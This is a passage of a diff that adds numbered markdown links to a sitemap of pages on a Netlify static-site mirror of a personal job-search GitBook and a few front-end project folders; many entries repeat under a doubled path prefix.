+133. - [bryan-guner.gitbook.io/job-search/resources/orientation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/orientation)
+134. - [bryan-guner.gitbook.io/job-search/resources/practice-problems](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/practice-problems)
+135. - [bryan-guner.gitbook.io/job-search/resources/running-list-of-misc-resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resources/running-list-of-misc-resources)
+136. - [bryan-guner.gitbook.io/job-search/resume/resume](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resume/resume)
+137. - [bryan-guner.gitbook.io/job-search/skills/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/skills/README)
+138. - [bryan-guner.gitbook.io/job-search/skills/my-stack](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/skills/my-stack)
+139. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/job-board-slack](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/job-board-slack)
+140. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/people](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/people)
+141. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-items](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-items)
+142. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-messages](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-messages)
+143. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/recommended-jobs](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/recommended-jobs)
+144. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/recordings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/recordings)
+145. - [bryan-guner.gitbook.io/job-search/slack-and-lambda/slack-announcements](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/slack-and-lambda/slack-announcements)
+146. - [bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator)
+147. - [solid/src/images/sitemap](https://random-static-html-deploys.netlify.app/solid/src/images/sitemap)
+148. - [solid/src/js/sitemap](https://random-static-html-deploys.netlify.app/solid/src/js/sitemap)
+149. - [solid/src/scss/sitemap](https://random-static-html-deploys.netlify.app/solid/src/scss/sitemap)
+150. - [web-speech-api-master/speak-easy-synthesis/img/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/speak-easy-synthesis/img/sitemap)
+151. - [web-speech-api-master/speech-color-changer/img/sitemap](https://random-static-html-deploys.netlify.app/web-speech-api-master/speech-color-changer/img/sitemap)
+152. - [job-search/applications-and-job-postings/jobs-i-really-want](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want)
+153. - [job-search/applications-and-job-postings/my-applications](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications)
+154. - [job-search/applications-and-job-postings/postings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings)
+155. - [job-search/aux-resources/youtube](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/aux-resources/youtube)
+156. - [job-search/cover-letter/example-of-developer-bio](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/cover-letter/example-of-developer-bio)
+157. - [job-search/cover-letter/old-engineering-cover-letter](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/cover-letter/old-engineering-cover-letter)
+158. - [job-search/cover-letter/page-10](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/cover-letter/page-10)
+159. - [job-search/interview-prep/37-essential-js-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/37-essential-js-questions)
+160. - [job-search/interview-prep/arrays](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/arrays)
+161. - [job-search/interview-prep/common-knowledge-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/common-knowledge-questions)
+162. - [job-search/interview-prep/ds_algo-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice)
+163. - [job-search/interview-prep/examples](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/examples)
+164. - [job-search/interview-prep/fang-prep-medium-article](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/fang-prep-medium-article)
+165. - [job-search/interview-prep/general-advice-and-tips](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/general-advice-and-tips)
+166. - [job-search/interview-prep/hash-tables](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/hash-tables)
+167. - [job-search/interview-prep/interview-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions)
+168. - [job-search/interview-prep/more-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/more-practice)
+169. - [job-search/interview-prep/rubric](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/rubric)
+170. - [job-search/interview-prep/technical-interview-practice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/technical-interview-practice)
+171. - [job-search/interview-prep/types-of-data-structures](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/types-of-data-structures)
+172. - [job-search/interviewing/general](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/general)
+173. - [job-search/interviewing/inspiration](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/inspiration)
+174. - [job-search/interviewing/js](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js)
+175. - [job-search/job-boards/job-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-boards/job-boards)
+176. - [job-search/job-postings/jobs-to-apply-to](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-postings/jobs-to-apply-to)
+177. - [job-search/job-postings/remote-positions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-postings/remote-positions)
+178. - [job-search/lambda-guidance-and-meetings/meetings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/lambda-guidance-and-meetings/meetings)
+179. - [job-search/misc/articles-to-read](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/misc/articles-to-read)
+180. - [job-search/networking/events](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/networking/events)
+181. - [job-search/notes/notes](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/notes/notes)
+182. - [job-search/portfolio/git-repo](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/portfolio/git-repo)
+183. - [job-search/portfolio/page-11](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/portfolio/page-11)
+184. - [job-search/portfolio/showcase](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/portfolio/showcase)
+185. - [job-search/resources/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/README)
+186. - [job-search/resources/cold-outreach-generator](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/cold-outreach-generator)
+187. - [job-search/resources/job-search-advice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/job-search-advice)
+188. - [job-search/resources/links](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/links)
+189. - [job-search/resources/orientation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/orientation)
+190. - [job-search/resources/practice-problems](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/practice-problems)
+191. - [job-search/resources/running-list-of-misc-resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resources/running-list-of-misc-resources)
+192. - [job-search/resume/resume](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resume/resume)
+193. - [job-search/skills/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/skills/README)
+194. - [job-search/skills/my-stack](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/skills/my-stack)
+195. - [job-search/slack-and-lambda/job-board-slack](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/job-board-slack)
+196. - [job-search/slack-and-lambda/people](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/people)
+197. - [job-search/slack-and-lambda/pinned-items](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-items)
+198. - [job-search/slack-and-lambda/pinned-messages](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/pinned-messages)
+199. - [job-search/slack-and-lambda/recommended-jobs](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/recommended-jobs)
+200. - [job-search/slack-and-lambda/recordings](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/recordings)
+201. - [job-search/slack-and-lambda/slack-announcements](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/slack-and-lambda/slack-announcements)
+202. - [job-search/tutorials/custom-outreach-message-generator](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator)
+203. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/README)
+204. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/emails](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/emails)
+205. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit)
+206. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/application-info](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/application-info)
+207. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/in-progress](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/in-progress)
+208. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings/avid-pro-tools](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings/avid-pro-tools)
+209. - [bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/README)
+210. - [bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide)
+211. - [bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/python-subpage](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/python-subpage)
+212. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/README)
+213. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets)
+214. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/front-end-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/front-end-questions)
+215. - [bryan-guner.gitbook.io/job-search/interviewing/js/adding-css-to-your-html](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/adding-css-to-your-html)
+216. - [bryan-guner.gitbook.io/job-search/interviewing/js/cheatsheet-compilation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/cheatsheet-compilation)
+217. - [bryan-guner.gitbook.io/job-search/interviewing/js/css-interview-prep-quiz](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/css-interview-prep-quiz)
+218. - [bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list-1)
+219. - [bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list)
+220. - [bryan-guner.gitbook.io/job-search/interviewing/js/job-boards-and-the-hunt](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/job-boards-and-the-hunt)
+221. - [bryan-guner.gitbook.io/job-search/interviewing/js/libraries](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/libraries)
+222. - [bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner-1)
+223. - [bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner)
+224. - [bryan-guner.gitbook.io/job-search/interviewing/js/modules-in-javascript](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/modules-in-javascript)
+225. - [bryan-guner.gitbook.io/job-search/interviewing/js/most-common-javascript-errors](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/most-common-javascript-errors)
+226. - [bryan-guner.gitbook.io/job-search/interviewing/js/page-2](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/page-2)
+227. - [bryan-guner.gitbook.io/job-search/interviewing/js/resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/resources)
+228. - [bryan-guner.gitbook.io/job-search/interviewing/js/scrap](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/scrap)
+229. - [bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners-1)
+230. - [bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners)
+231. - [bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide-1)
+232. - [bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide)
+233. - [bryan-guner.gitbook.io/job-search/interviewing/js/the-expressjs-way-to-write-apis](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/the-expressjs-way-to-write-apis)
+234. - [bryan-guner.gitbook.io/job-search/interviewing/js/the-penultimate-web-developers-cheat-sheet](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/the-penultimate-web-developers-cheat-sheet)
+235. - [bryan-guner.gitbook.io/job-search/interviewing/js/this-is-really-cool](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interviewing/js/this-is-really-cool)
+236. - [bryan-guner.gitbook.io/job-search/job-boards/job-boards/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-boards/job-boards/README)
+237. - [bryan-guner.gitbook.io/job-search/job-boards/job-boards/less-promising-job-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-boards/job-boards/less-promising-job-boards)
+238. - [bryan-guner.gitbook.io/job-search/job-boards/job-boards/list-of-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/job-boards/job-boards/list-of-boards)
+239. - [bryan-guner.gitbook.io/job-search/notes/notes/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/notes/notes/README)
+240. - [bryan-guner.gitbook.io/job-search/notes/notes/page-5](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/notes/notes/page-5)
+241. - [bryan-guner.gitbook.io/job-search/resume/resume/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resume/resume/README)
+242. - [bryan-guner.gitbook.io/job-search/resume/resume/advice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resume/resume/advice)
+243. - [bryan-guner.gitbook.io/job-search/resume/resume/examples](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/resume/resume/examples)
+244. - [bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2-1)
+245. - [bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2)
+246. - [bryan-guner.gitbook.io/job-search/tutorials/untitled/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/tutorials/untitled/README)
+247. - [solid/src/scss/abstracts/sitemap](https://random-static-html-deploys.netlify.app/solid/src/scss/abstracts/sitemap)
+248. - [solid/src/scss/base/sitemap](https://random-static-html-deploys.netlify.app/solid/src/scss/base/sitemap)
+249. - [solid/src/scss/components/sitemap](https://random-static-html-deploys.netlify.app/solid/src/scss/components/sitemap)
+250. - [solid/src/scss/layout/sitemap](https://random-static-html-deploys.netlify.app/solid/src/scss/layout/sitemap)
+251. - [job-search/applications-and-job-postings/jobs-i-really-want/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/README)
+252. - [job-search/applications-and-job-postings/jobs-i-really-want/emails](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/emails)
+253. - [job-search/applications-and-job-postings/jobs-i-really-want/stackbit](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit)
+254. - [job-search/applications-and-job-postings/my-applications/application-info](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/application-info)
+255. - [job-search/applications-and-job-postings/my-applications/in-progress](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/my-applications/in-progress)
+256. - [job-search/applications-and-job-postings/postings/avid-pro-tools](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/applications-and-job-postings/postings/avid-pro-tools)
+257. - [job-search/interview-prep/ds_algo-practice/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/README)
+258. - [job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide)
+259. - [job-search/interview-prep/ds_algo-practice/python-subpage](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/python-subpage)
+260. - [job-search/interview-prep/interview-questions/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/README)
+261. - [job-search/interview-prep/interview-questions/cheat-sheets](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets)
+262. - [job-search/interview-prep/interview-questions/front-end-questions](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/front-end-questions)
+263. - [job-search/interviewing/js/adding-css-to-your-html](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/adding-css-to-your-html)
+264. - [job-search/interviewing/js/cheatsheet-compilation](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/cheatsheet-compilation)
+265. - [job-search/interviewing/js/css-interview-prep-quiz](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/css-interview-prep-quiz)
+266. - [job-search/interviewing/js/heres-the-expanded-list-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list-1)
+267. - [job-search/interviewing/js/heres-the-expanded-list](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/heres-the-expanded-list)
+268. - [job-search/interviewing/js/job-boards-and-the-hunt](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/job-boards-and-the-hunt)
+269. - [job-search/interviewing/js/libraries](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/libraries)
+270. - [job-search/interviewing/js/machine-learner-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner-1)
+271. - [job-search/interviewing/js/machine-learner](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/machine-learner)
+272. - [job-search/interviewing/js/modules-in-javascript](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/modules-in-javascript)
+273. - [job-search/interviewing/js/most-common-javascript-errors](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/most-common-javascript-errors)
+274. - [job-search/interviewing/js/page-2](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/page-2)
+275. - [job-search/interviewing/js/resources](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/resources)
+276. - [job-search/interviewing/js/scrap](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/scrap)
+277. - [job-search/interviewing/js/solutions-for-beginners-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners-1)
+278. - [job-search/interviewing/js/solutions-for-beginners](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/solutions-for-beginners)
+279. - [job-search/interviewing/js/the-complete-javascript-reference-guide-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide-1)
+280. - [job-search/interviewing/js/the-complete-javascript-reference-guide](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/the-complete-javascript-reference-guide)
+281. - [job-search/interviewing/js/the-expressjs-way-to-write-apis](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/the-expressjs-way-to-write-apis)
+282. - [job-search/interviewing/js/the-penultimate-web-developers-cheat-sheet](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/the-penultimate-web-developers-cheat-sheet)
+283. - [job-search/interviewing/js/this-is-really-cool](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/interviewing/js/this-is-really-cool)
+284. - [job-search/job-boards/job-boards/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-boards/job-boards/README)
+285. - [job-search/job-boards/job-boards/less-promising-job-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-boards/job-boards/less-promising-job-boards)
+286. - [job-search/job-boards/job-boards/list-of-boards](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/job-boards/job-boards/list-of-boards)
+287. - [job-search/notes/notes/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/notes/notes/README)
+288. - [job-search/notes/notes/page-5](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/notes/notes/page-5)
+289. - [job-search/resume/resume/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resume/resume/README)
+290. - [job-search/resume/resume/advice](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resume/resume/advice)
+291. - [job-search/resume/resume/examples](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/resume/resume/examples)
+292. - [job-search/tutorials/custom-outreach-message-generator/page-2-1](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2-1)
+293. - [job-search/tutorials/custom-outreach-message-generator/page-2](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/tutorials/custom-outreach-message-generator/page-2)
+294. - [job-search/tutorials/untitled/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/bryan-guner.gitbook.io/job-search/tutorials/untitled/README)
+295. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/README](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/README)
+296. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/developer-advocate-remote](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/developer-advocate-remote)
+297. - [bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/page-4](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/applications-and-job-postings/jobs-i-really-want/stackbit/page-4)
+298. - [bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide/reousrces](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/ds_algo-practice/ds_and_algo_study_guide/reousrces)
+299. - [bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets/python-vs-js-cheat-sheet](https://random-static-html-deploys.netlify.app/bryan-guner.gitbook.io/job-search/interview-prep/interview-questions/cheat-sheets/python-vs-js-cheat-sheet)
